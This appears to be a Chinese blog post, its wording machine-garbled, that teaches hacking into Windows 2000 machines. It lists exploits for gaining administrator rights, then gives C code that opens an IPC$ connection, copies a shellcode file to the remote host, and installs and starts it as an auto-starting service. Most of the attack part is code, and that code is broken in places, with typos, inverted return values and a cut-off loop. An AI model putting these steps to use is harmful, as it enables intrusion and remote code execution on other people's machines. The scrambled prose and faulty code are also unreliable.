时间: 2021-07-31 作者:daque
怎样创造ipc贯穿呢?不必我说,大师都领会: net use \\ip\\ipc$ password /user:user。在这边,咱们应想方法获得administrator的权力的帐户和暗号,本领有很多: ⑴流光扫描 ⑵null.printer缓冲区溢出 ⑶ms sql空暗号 ⑷unicode缺点 ⑸长途结尾输出法缺点 ⑹idq.dll缺点 ……太多了!简直本领我就不说了。 获得windows 2k administrator权力此后,不妨做什么呢?想做什么就做什么呗!装什么效劳的,固然是本人写的效劳步调啦!你看s怎样呢?底下就从编制程序的观点的来谈谈,读者群要有确定的搜集编制程序普通,同声有的场合没给堕落误查看,有局部代码是参考旁人的。少许因变量和构造请参考msdn。不及之处还请读者群本人完备,也不妨和我交谈:heavyd@cngale.com。底下请看: 1、怎样创造ipc贯穿,请看以次代码: bool connetipc(char * remotename,char * user,char * password) { char tmp[128]="\\\\"; strcat(tmp,remotename); strcat(tmp,"\\ipc$"); netresouce netresouce; netresouce.lpremotename=tmp; netresouce.dwtype=resourcetype_any; netresouce.lpprovider=null; if (wnetaddconnection2(&netresouce,password,user,flase)==no_error) //创造贯穿! return false; else return true; } 是否很大略?对!就这么大略!那么,接着来吧! 2、发端把步调写到长机上吧! bool sendfile(char *remotepathandfile) { handle hrf; unsigned char shellcode[]="write code here,such as \x90\x90"; int writtensize=0; int lenth=sizeof(shellcode); hrf=createfile(remotepathandfile, generic_all,file_share_write, null, create_always, file_attribute_normal, nul l);//创造文献 if (hrf==invalid_handle_values) return false; //写文献进程: for(int i=0;i if(!writefile(hrf,&shellcode,1,&writtensize,null) return false; printf("send file succeed!\n"); } 3、就要胜利了,结果一步啦!--启用效劳! 办法:a、启用效劳遏制处置器(scm),赢得以scm_handle为典型的hscm句柄; b、创造效劳(createservice),也是归来scm_handle型的句柄hscs; c、启用效劳(startservice) d、特地提提:controservice不妨遏制效劳的状况 如: controlservice(hscs,service_control_stop,null); //遏止效劳 controlservice(hscs,service_control_pause,null); //休憩效劳 请看底下代码: bool installservice(char * target,char * servicename,char * filename,) { sc_handle hscm=null,hscs=null; service_status servicestatus; hscm=openscmanager(target,null,sc_manager_all_access); hscs=createservice(hscm, //句柄 servicename,//效劳发端名 servicename,//表露效劳名 service_all_access,//效劳考察典型 service_win32_own_process,//效劳典型 service_auto_start,//机动启用效劳 service_error_ignore,//忽视缺点 filename,//启用的文献名 null,//name of load ordering group (载入组名) null,//标签操作符 null,//关系性数组名 null,//帐户(暂时) null);//暗号(暂时) if(startservic(hscs, argc,//参数数 argv);//参数 { sleep(30);//延时,发端启用效劳 while(queryservicestatus(hscs,&servicestatus) { if(servicestatus.dwcurrentstate==service_start_pendding) sleep(30); else break; } if(servicestatus.dwcurrentstate==service_running) return true; else false; } } 好了,毕竟实行了这三步,大师不妨渐渐享用本人的处事功效了! 提防:之上步调仅供参考,请在本人领会此后本人把它们写成完备的步调,不要径直生搬硬套!